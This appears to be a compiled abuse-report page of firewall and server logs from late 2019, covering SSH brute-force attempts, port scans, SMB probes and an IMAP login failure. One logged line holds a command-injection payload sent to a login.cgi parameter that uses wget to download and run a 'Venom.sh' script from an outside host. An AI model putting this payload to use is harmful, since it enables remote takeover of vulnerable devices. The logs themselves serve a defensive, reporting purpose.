23/tcp 23/tcp 23/tcp...
[2019-11-12/12-22]11pkt,1pt.(tcp)

Attempt to attack host OS, exploiting network vulnerabilities, on 23-12-2019 14:55:10.

Unauthorised access (Dec 23) SRC=61.164.96.126 LEN=40 TTL=53 ID=52377 TCP DPT=8080 WINDOW=54687 SYN 
Unauthorised access (Dec 22) SRC=61.164.96.126 LEN=40 TTL=53 ID=5850 TCP DPT=8080 WINDOW=47871 SYN

Dec 23 16:37:04 sd-53420 sshd\[677\]: Invalid user sai from 61.187.53.119
Dec 23 16:37:04 sd-53420 sshd\[677\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.187.53.119
Dec 23 16:37:07 sd-53420 sshd\[677\]: Failed password for invalid user sai from 61.187.53.119 port 4853 ssh2
Dec 23 16:45:57 sd-53420 sshd\[4119\]: Invalid user proxy1 from 61.187.53.119
Dec 23 16:45:57 sd-53420 sshd\[4119\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.187.53.119
...

Dec 11 08:57:27 yesfletchmain sshd\[20431\]: User root from 129.204.201.27 not allowed because not listed in AllowUsers
Dec 11 08:57:27 yesfletchmain sshd\[20431\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.201.27  user=root
Dec 11 08:57:29 yesfletchmain sshd\[20431\]: Failed password for invalid user root from 129.204.201.27 port 54350 ssh2
Dec 11 09:06:19 yesfletchmain sshd\[20785\]: Invalid user guest from 129.204.201.27 port 33670
Dec 11 09:06:19 yesfletchmain sshd\[20785\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.201.27
...

Mar 15 09:06:04 yesfletchmain sshd\[23502\]: Invalid user postgres from 129.204.121.60 port 60652
Mar 15 09:06:04 yesfletchmain sshd\[23502\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.121.60
Mar 15 09:06:05 yesfletchmain sshd\[23502\]: Failed password for invalid user postgres from 129.204.121.60 port 60652 ssh2
Mar 15 09:12:52 yesfletchmain sshd\[23728\]: Invalid user eco from 129.204.121.60 port 58674
Mar 15 09:12:52 yesfletchmain sshd\[23728\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.121.60
...

445/tcp 1433/tcp...
[2019-10-28/12-22]8pkt,2pt.(tcp)

Dec 23 16:57:35 sd-53420 sshd\[8452\]: Invalid user pau from 51.75.128.184
Dec 23 16:57:35 sd-53420 sshd\[8452\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.128.184
Dec 23 16:57:37 sd-53420 sshd\[8452\]: Failed password for invalid user pau from 51.75.128.184 port 56798 ssh2
Dec 23 17:03:09 sd-53420 sshd\[10539\]: User backup from 51.75.128.184 not allowed because none of user's groups are listed in AllowGroups
Dec 23 17:03:09 sd-53420 sshd\[10539\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.128.184  user=backup
...

firewall-block, port(s): 36118/tcp

Dec 23 21:16:53 vps691689 sshd[807]: Failed password for root from 218.92.0.171 port 5679 ssh2
Dec 23 21:17:03 vps691689 sshd[807]: Failed password for root from 218.92.0.171 port 5679 ssh2
Dec 23 21:17:06 vps691689 sshd[807]: Failed password for root from 218.92.0.171 port 5679 ssh2
Dec 23 21:17:06 vps691689 sshd[807]: error: maximum authentication attempts exceeded for root from 218.92.0.171 port 5679 ssh2 [preauth]
...

Unauthorized connection attempt from IP address 183.83.135.98 on Port 445(SMB)

Dec 23 14:55:19 flomail dovecot: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=14.161.46.114, lip=10.140.194.78, TLS: Disconnected, session=

C2,DEF GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$

1577112917 - 12/23/2019 15:55:17 Host: 113.190.214.234/113.190.214.234 Port: 445 TCP Blocked

MultiHost/MultiPort Probe, Scan, Hack -